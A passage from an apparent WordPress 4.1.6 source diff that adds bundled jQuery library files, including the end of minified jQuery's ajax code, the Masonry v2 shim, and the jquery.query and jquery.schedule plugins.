ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||m.error("Invalid XML: "+b),c};var yc,zc,Ac=/#.*$/,Bc=/([?&])_=[^&]*/,Cc=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Dc=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ec=/^(?:GET|HEAD)$/,Fc=/^\/\//,Gc=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Hc={},Ic={},Jc="*/".concat("*");try{zc=location.href}catch(Kc){zc=y.createElement("a"),zc.href="",zc=zc.href}yc=Gc.exec(zc.toLowerCase())||[];function Lc(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(E)||[];if(m.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Mc(a,b,c,d){var e={},f=a===Ic;function g(h){var i;return e[h]=!0,m.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Nc(a,b){var c,d,e=m.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&m.extend(!0,a,c),a}function Oc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Pc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}m.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:zc,type:"GET",isLocal:Dc.test(yc[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Jc,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":m.parseJSON,"text xml":m.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Nc(Nc(a,m.ajaxSettings),b):Nc(m.ajaxSettings,a)},ajaxPrefilter:Lc(Hc),ajaxTransport:Lc(Ic),ajax:function(a,b){"object"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=m.ajaxSetup({},b),l=k.context||k,n=k.context&&(l.nodeType||l.jquery)?m(l):m.event,o=m.Deferred(),p=m.Callbacks("once memory"),q=k.statusCode||{},r={},s={},t=0,u="canceled",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!j){j={};while(b=Cc.exec(f))j[b[1].toLowerCase()]=b[2]}b=j[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?f:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return i&&i.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||zc)+"").replace(Ac,"").replace(Fc,yc[1]+"//"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=m.trim(k.dataType||"*").toLowerCase().match(E)||[""],null==k.crossDomain&&(c=Gc.exec(k.url.toLowerCase()),k.crossDomain=!(!c||c[1]===yc[1]&&c[2]===yc[2]&&(c[3]||("http:"===c[1]?"80":"443"))===(yc[3]||("http:"===yc[1]?"80":"443")))),k.data&&k.processData&&"string"!=typeof k.data&&(k.data=m.param(k.data,k.traditional)),Mc(Hc,k,b,v),2===t)return v;h=k.global,h&&0===m.active++&&m.event.trigger("ajaxStart"),k.type=k.type.toUpperCase(),k.hasContent=!Ec.test(k.type),e=k.url,k.hasContent||(k.data&&(e=k.url+=(wc.test(e)?"&":"?")+k.data,delete k.data),k.cache===!1&&(k.url=Bc.test(e)?e.replace(Bc,"$1_="+vc++):e+(wc.test(e)?"&":"?")+"_="+vc++)),k.ifModified&&(m.lastModified[e]&&v.setRequestHeader("If-Modified-Since",m.lastModified[e]),m.etag[e]&&v.setRequestHeader("If-None-Match",m.etag[e])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader("Content-Type",k.contentType),v.setRequestHeader("Accept",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+("*"!==k.dataTypes[0]?", "+Jc+"; q=0.01":""):k.accepts["*"]);for(d in k.headers)v.setRequestHeader(d,k.headers[d]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u="abort";for(d in{success:1,error:1,complete:1})v[d](k[d]);if(i=Mc(Ic,k,b,v)){v.readyState=1,h&&n.trigger("ajaxSend",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort("timeout")},k.timeout));try{t=1,i.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,"No Transport");function x(a,b,c,d){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),i=void 0,f=d||"",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,c&&(u=Oc(k,v,c)),u=Pc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader("Last-Modified"),w&&(m.lastModified[e]=w),w=v.getResponseHeader("etag"),w&&(m.etag[e]=w)),204===a||"HEAD"===k.type?x="nocontent":304===a?x="notmodified":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x="error",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+"",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,h&&n.trigger(j?"ajaxSuccess":"ajaxError",[v,k,j?r:s]),p.fireWith(l,[v,x]),h&&(n.trigger("ajaxComplete",[v,k]),--m.active||m.event.trigger("ajaxStop")))}return v},getJSON:function(a,b,c){return m.get(a,b,c,"json")},getScript:function(a,b){return m.get(a,void 0,b,"script")}}),m.each(["get","post"],function(a,b){m[b]=function(a,c,d,e){return m.isFunction(c)&&(e=e||d,d=c,c=void 0),m.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),m.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){m.fn[b]=function(a){return this.on(b,a)}}),m._evalUrl=function(a){return m.ajax({url:a,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},m.fn.extend({wrapAll:function(a){if(m.isFunction(a))return this.each(function(b){m(this).wrapAll(a.call(this,b))});if(this[0]){var b=m(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return this.each(m.isFunction(a)?function(b){m(this).wrapInner(a.call(this,b))}:function(){var b=m(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=m.isFunction(a);return this.each(function(c){m(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){m.nodeName(this,"body")||m(this).replaceWith(this.childNodes)}).end()}}),m.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0||!k.reliableHiddenOffsets()&&"none"===(a.style&&a.style.display||m.css(a,"display"))},m.expr.filters.visible=function(a){return!m.expr.filters.hidden(a)};var Qc=/%20/g,Rc=/\[\]$/,Sc=/\r?\n/g,Tc=/^(?:submit|button|image|reset|file)$/i,Uc=/^(?:input|select|textarea|keygen)/i;function Vc(a,b,c,d){var e;if(m.isArray(b))m.each(b,function(b,e){c||Rc.test(a)?d(a,e):Vc(a+"["+("object"==typeof e?b:"")+"]",e,c,d)});else if(c||"object"!==m.type(b))d(a,b);else for(e in b)Vc(a+"["+e+"]",b[e],c,d)}m.param=function(a,b){var c,d=[],e=function(a,b){b=m.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=m.ajaxSettings&&m.ajaxSettings.traditional),m.isArray(a)||a.jquery&&!m.isPlainObject(a))m.each(a,function(){e(this.name,this.value)});else for(c in a)Vc(c,a[c],b,e);return d.join("&").replace(Qc,"+")},m.fn.extend({serialize:function(){return m.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=m.prop(this,"elements");return a?m.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!m(this).is(":disabled")&&Uc.test(this.nodeName)&&!Tc.test(a)&&(this.checked||!W.test(a))}).map(function(a,b){var c=m(this).val();return null==c?null:m.isArray(c)?m.map(c,function(a){return{name:b.name,value:a.replace(Sc,"\r\n")}}):{name:b.name,value:c.replace(Sc,"\r\n")}}).get()}}),m.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&Zc()||$c()}:Zc;var Wc=0,Xc={},Yc=m.ajaxSettings.xhr();a.ActiveXObject&&m(a).on("unload",function(){for(var a in Xc)Xc[a](void 0,!0)}),k.cors=!!Yc&&"withCredentials"in Yc,Yc=k.ajax=!!Yc,Yc&&m.ajaxTransport(function(a){if(!a.crossDomain||k.cors){var b;return{send:function(c,d){var e,f=a.xhr(),g=++Wc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c["X-Requested-With"]||(c["X-Requested-With"]="XMLHttpRequest");for(e in c)void 0!==c[e]&&f.setRequestHeader(e,c[e]+"");f.send(a.hasContent&&a.data||null),b=function(c,e){var h,i,j;if(b&&(e||4===f.readyState))if(delete Xc[g],b=void 0,f.onreadystatechange=m.noop,e)4!==f.readyState&&f.abort();else{j={},h=f.status,"string"==typeof f.responseText&&(j.text=f.responseText);try{i=f.statusText}catch(k){i=""}h||!a.isLocal||a.crossDomain?1223===h&&(h=204):h=j.text?200:404}j&&d(h,i,j,f.getAllResponseHeaders())},a.async?4===f.readyState?setTimeout(b):f.onreadystatechange=Xc[g]=b:b()},abort:function(){b&&b(void 0,!0)}}}});function Zc(){try{return new a.XMLHttpRequest}catch(b){}}function $c(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}m.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(a){return m.globalEval(a),a}}}),m.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),m.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=y.head||m("head")[0]||y.documentElement;return{send:function(d,e){b=y.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||e(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var _c=[],ad=/(=)\?(?=&|$)|\?\?/;m.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=_c.pop()||m.expando+"_"+vc++;return this[a]=!0,a}}),m.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(ad.test(b.url)?"url":"string"==typeof b.data&&!(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&ad.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=m.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(ad,"$1"+e):b.jsonp!==!1&&(b.url+=(wc.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||m.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,_c.push(e)),g&&m.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),m.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||y;var d=u.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=m.buildFragment([a],b,e),e&&e.length&&m(e).remove(),m.merge([],d.childNodes))};var bd=m.fn.load;m.fn.load=function(a,b,c){if("string"!=typeof a&&bd)return bd.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>=0&&(d=m.trim(a.slice(h,a.length)),a=a.slice(0,h)),m.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(f="POST"),g.length>0&&m.ajax({url:a,type:f,dataType:"html",data:b}).done(function(a){e=arguments,g.html(d?m("<div>").append(m.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},m.expr.filters.animated=function(a){return m.grep(m.timers,function(b){return a===b.elem}).length};var cd=a.document.documentElement;function dd(a){return m.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}m.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=m.css(a,"position"),l=m(a),n={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=m.css(a,"top"),i=m.css(a,"left"),j=("absolute"===k||"fixed"===k)&&m.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),m.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(n.top=b.top-h.top+g),null!=b.left&&(n.left=b.left-h.left+e),"using"in b?b.using.call(a,n):l.css(n)}},m.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){m.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,m.contains(b,e)?(typeof e.getBoundingClientRect!==K&&(d=e.getBoundingClientRect()),c=dd(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===m.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),m.nodeName(a[0],"html")||(c=a.offset()),c.top+=m.css(a[0],"borderTopWidth",!0),c.left+=m.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-m.css(d,"marginTop",!0),left:b.left-c.left-m.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||cd;while(a&&!m.nodeName(a,"html")&&"static"===m.css(a,"position"))a=a.offsetParent;return a||cd})}}),m.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);m.fn[a]=function(d){return V(this,function(a,d,e){var f=dd(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?m(f).scrollLeft():e,c?e:m(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),m.each(["top","left"],function(a,b){m.cssHooks[b]=Lb(k.pixelPosition,function(a,c){return c?(c=Jb(a,b),Hb.test(c)?m(a).position()[b]+"px":c):void 0})}),m.each({Height:"height",Width:"width"},function(a,b){m.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){m.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return V(this,function(b,c,d){var e;return m.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?m.css(b,c,g):m.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),m.fn.size=function(){return this.length},m.fn.andSelf=m.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return m});var ed=a.jQuery,fd=a.$;return m.noConflict=function(b){return a.$===m&&(a.$=fd),b&&a.jQuery===m&&(a.jQuery=ed),m},typeof b===K&&(a.jQuery=a.$=m),m});
+jQuery.noConflict();
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.js	(revision 33402)
@@ -0,0 +1,105 @@
+/*!
+ * Masonry v2 shim
+ * to maintain backwards compatibility
+ * as of Masonry v3.1.2
+ *
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+( function( window ) {
+
+  'use strict';
+
+  var Masonry = window.Masonry;
+
+  Masonry.prototype._remapV2Options = function() {
+    // map v2 options to v3 equivalents
+    this._remapOption( 'gutterWidth', 'gutter' );
+    this._remapOption( 'isResizable', 'isResizeBound' );
+    this._remapOption( 'isRTL', 'isOriginLeft', function( opt ) {
+      return !opt;
+    });
+
+    // override transitionDuration with isAnimated
+    var isAniOption = this.options.isAnimated;
+    if ( isAniOption !== undefined ) {
+      this.options.transitionDuration = isAniOption ?
+        Masonry.prototype.options.transitionDuration : 0;
+    }
+
+    if ( isAniOption === undefined || isAniOption ) {
+      // use animation Duration option in place of transitionDuration
+      var aniOptions = this.options.animationOptions;
+      var aniDuration = aniOptions && aniOptions.duration;
+      if ( aniDuration ) {
+        this.options.transitionDuration = typeof aniDuration === 'string' ?
+          aniDuration : aniDuration + 'ms';
+      }
+    }
+  };
+
+  Masonry.prototype._remapOption = function( from, to, munge ) {
+    var fromOption = this.options[ from ];
+    if ( fromOption !== undefined ) {
+      this.options[ to ] = munge ? munge( fromOption ) : fromOption;
+    }
+  };
+
+  // remap v2 options for necessary methods
+
+  var __create = Masonry.prototype._create;
+  Masonry.prototype._create = function() {
+    var that = this;
+    this._remapV2Options();
+    __create.apply( this, arguments );
+    setTimeout( function() {
+      jQuery( that.element ).addClass( 'masonry' );
+    }, 0 );
+  };
+
+  var _layout = Masonry.prototype.layout;
+  Masonry.prototype.layout = function() {
+    this._remapV2Options();
+    _layout.apply( this, arguments );
+  };
+
+  var _option = Masonry.prototype.option;
+  Masonry.prototype.option = function() {
+    _option.apply( this, arguments );
+    this._remapV2Options();
+  };
+
+  var __itemize = Masonry.prototype._itemize;
+  Masonry.prototype._itemize = function( elements ) {
+    var items = __itemize.apply( this, arguments );
+    jQuery( elements ).addClass( 'masonry-brick' );
+    return items;
+  };
+
+  // re-enable using function for columnWidth
+  var _measureColumns = Masonry.prototype.measureColumns;
+  Masonry.prototype.measureColumns = function() {
+    var colWOpt = this.options.columnWidth;
+    if ( colWOpt && typeof colWOpt === 'function' ) {
+      this.getContainerWidth();
+      this.columnWidth = colWOpt( this.containerWidth );
+    }
+    _measureColumns.apply( this, arguments );
+  };
+
+  Masonry.prototype.reload = function() {
+    this.reloadItems.apply( this, arguments );
+    this.layout.apply( this );
+  };
+
+  var _destroy = Masonry.prototype.destroy;
+  Masonry.prototype.destroy = function() {
+    var items = this.getItemElements();
+    jQuery( this.element ).removeClass( 'masonry' );
+    jQuery( items ).removeClass( 'masonry-brick' );
+    _destroy.apply( this, arguments );
+  };
+
+})( window );
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.masonry.min.js	(revision 33402)
@@ -0,0 +1,11 @@
+-/*!
+- * Masonry v2 shim
+- * to maintain backwards compatibility
+- * as of Masonry v3.1.2
+- *
+- * Cascading grid layout library
+- * http://masonry.desandro.com
+- * MIT License
+- * by David DeSandro
+- */
+!function(a){"use strict";var b=a.Masonry;b.prototype._remapV2Options=function(){this._remapOption("gutterWidth","gutter"),this._remapOption("isResizable","isResizeBound"),this._remapOption("isRTL","isOriginLeft",function(a){return!a});var a=this.options.isAnimated;if(void 0!==a&&(this.options.transitionDuration=a?b.prototype.options.transitionDuration:0),void 0===a||a){var c=this.options.animationOptions,d=c&&c.duration;d&&(this.options.transitionDuration="string"==typeof d?d:d+"ms")}},b.prototype._remapOption=function(a,b,c){var d=this.options[a];void 0!==d&&(this.options[b]=c?c(d):d)};var c=b.prototype._create;b.prototype._create=function(){var a=this;this._remapV2Options(),c.apply(this,arguments),setTimeout(function(){jQuery(a.element).addClass("masonry")},0)};var d=b.prototype.layout;b.prototype.layout=function(){this._remapV2Options(),d.apply(this,arguments)};var e=b.prototype.option;b.prototype.option=function(){e.apply(this,arguments),this._remapV2Options()};var f=b.prototype._itemize;b.prototype._itemize=function(a){var b=f.apply(this,arguments);return jQuery(a).addClass("masonry-brick"),b};var g=b.prototype.measureColumns;b.prototype.measureColumns=function(){var a=this.options.columnWidth;a&&"function"==typeof a&&(this.getContainerWidth(),this.columnWidth=a(this.containerWidth)),g.apply(this,arguments)},b.prototype.reload=function(){this.reloadItems.apply(this,arguments),this.layout.apply(this)};var h=b.prototype.destroy;b.prototype.destroy=function(){var a=this.getItemElements();jQuery(this.element).removeClass("masonry"),jQuery(a).removeClass("masonry-brick"),h.apply(this,arguments)}}(window);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.query.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.query.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.query.js	(revision 33402)
@@ -0,0 +1,11 @@
+/**
+ * jQuery.query - Query String Modification and Creation for jQuery
+ * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
+ * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
+ * Date: 2009/8/13
+ *
+ * @author Blair Mitchelmore
+ * @version 2.1.7
+ *
+ **/
+new function(e){var d=e.separator||"&";var c=e.spaces===false?false:true;var a=e.suffix===false?"":"[]";var g=e.prefix===false?false:true;var b=g?e.hash===true?"#":"?":"";var f=e.numbers===false?false:true;jQuery.query=new function(){var h=function(m,l){return m!=undefined&&m!==null&&(!!l?m.constructor==l:true)};var i=function(r){var l,q=/\[([^[]*)\]/g,n=/^([^[]+)(\[.*\])?$/.exec(r),o=n[1],p=[];while(l=q.exec(n[2])){p.push(l[1])}return[o,p]};var k=function(s,r,q){var t,p=r.shift();if(typeof s!="object"){s=null}if(p===""){if(!s){s=[]}if(h(s,Array)){s.push(r.length==0?q:k(null,r.slice(0),q))}else{if(h(s,Object)){var n=0;while(s[n++]!=null){}s[--n]=r.length==0?q:k(s[n],r.slice(0),q)}else{s=[];s.push(r.length==0?q:k(null,r.slice(0),q))}}}else{if(p&&p.match(/^\s*[0-9]+\s*$/)){var m=parseInt(p,10);if(!s){s=[]}s[m]=r.length==0?q:k(s[m],r.slice(0),q)}else{if(p){var m=p.replace(/^\s*|\s*$/g,"");if(!s){s={}}if(h(s,Array)){var l={};for(var n=0;n<s.length;++n){l[n]=s[n]}s=l}s[m]=r.length==0?q:k(s[m],r.slice(0),q)}else{return q}}}return s};var j=function(l){var m=this;m.keys={};if(l.queryObject){jQuery.each(l.get(),function(n,o){m.SET(n,o)})}else{jQuery.each(arguments,function(){var n=""+this;n=n.replace(/^[?#]/,"");n=n.replace(/[;&]$/,"");if(c){n=n.replace(/[+]/g," ")}jQuery.each(n.split(/[&;]/),function(){var o=decodeURIComponent(this.split("=")[0]||"");var p=decodeURIComponent(this.split("=")[1]||"");if(!o){return}if(f){if(/^[+-]?[0-9]+\.[0-9]*$/.test(p)){p=parseFloat(p)}else{if(/^[+-]?[0-9]+$/.test(p)){p=parseInt(p,10)}}}p=(!p&&p!==0)?true:p;if(p!==false&&p!==true&&typeof p!="number"){p=p}m.SET(o,p)})})}return m};j.prototype={queryObject:true,has:function(l,m){var n=this.get(l);return h(n,m)},GET:function(m){if(!h(m)){return this.keys}var l=i(m),n=l[0],p=l[1];var o=this.keys[n];while(o!=null&&p.length!=0){o=o[p.shift()]}return typeof o=="number"?o:o||""},get:function(l){var m=this.GET(l);if(h(m,Object)){return jQuery.extend(true,{},m)}else{if(h(m,Array)){return m.slice(0)}}return m},SET:function(m,r){var o=!h(r)?null:r;var l=i(m),n=l[0],q=l[1];var p=this.keys[n];this.keys[n]=k(p,q.slice(0),o);return this},set:function(l,m){return this.copy().SET(l,m)},REMOVE:function(l){return this.SET(l,null).COMPACT()},remove:function(l){return this.copy().REMOVE(l)},EMPTY:function(){var l=this;jQuery.each(l.keys,function(m,n){delete l.keys[m]});return l},load:function(l){var n=l.replace(/^.*?[#](.+?)(?:\?.+)?$/,"$1");var m=l.replace(/^.*?[?](.+?)(?:#.+)?$/,"$1");return new j(l.length==m.length?"":m,l.length==n.length?"":n)},empty:function(){return this.copy().EMPTY()},copy:function(){return new j(this)},COMPACT:function(){function l(o){var n=typeof o=="object"?h(o,Array)?[]:{}:o;if(typeof o=="object"){function m(r,p,q){if(h(r,Array)){r.push(q)}else{r[p]=q}}jQuery.each(o,function(p,q){if(!h(q)){return true}m(n,p,l(q))})}return n}this.keys=l(this.keys);return this},compact:function(){return this.copy().COMPACT()},toString:function(){var n=0,r=[],q=[],m=this;var o=function(s){s=s+"";if(c){s=s.replace(/ /g,"+")}return encodeURIComponent(s)};var l=function(s,t,u){if(!h(u)||u===false){return}var v=[o(t)];if(u!==true){v.push("=");v.push(o(u))}s.push(v.join(""))};var p=function(t,s){var u=function(v){return !s||s==""?[v].join(""):[s,"[",v,"]"].join("")};jQuery.each(t,function(v,w){if(typeof w=="object"){p(w,u(v))}else{l(q,u(v),w)}})};p(this.keys);if(q.length>0){r.push(b)}r.push(q.join(d));return r.join("")}};return new j(location.search,location.hash)}}(jQuery.query||{});
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.schedule.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.schedule.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.schedule.js	(revision 33402)
@@ -0,0 +1,36 @@
+
+(function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;}
+if(typeof arguments[i]=="object"){for(var option in arguments[i])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[i][option];i++;}
+if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$"))))
+ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean")
+ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];}
+else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string"))
+ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined")
+ctx["args"].push(arguments[i++]);if(override){if(typeof arguments[1]=="object"){for(var option in arguments[0])
+if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined")
+ctx[option]=arguments[0][option];}
+else{for(var option in arguments[0])
+if(typeof ctx[option]!="undefined")
+ctx[option]=arguments[0][option];}
+i++;}
+ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined")
+ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null)
+ctx["id"]=(String(ctx["repeat"])+":"
++String(ctx["protect"])+":"
++String(ctx["time"])+":"
++String(ctx["obj"])+":"
++String(ctx["func"])+":"
++String(ctx["args"]));if(ctx["protect"])
+if(typeof this.bucket[ctx["id"]]!="undefined")
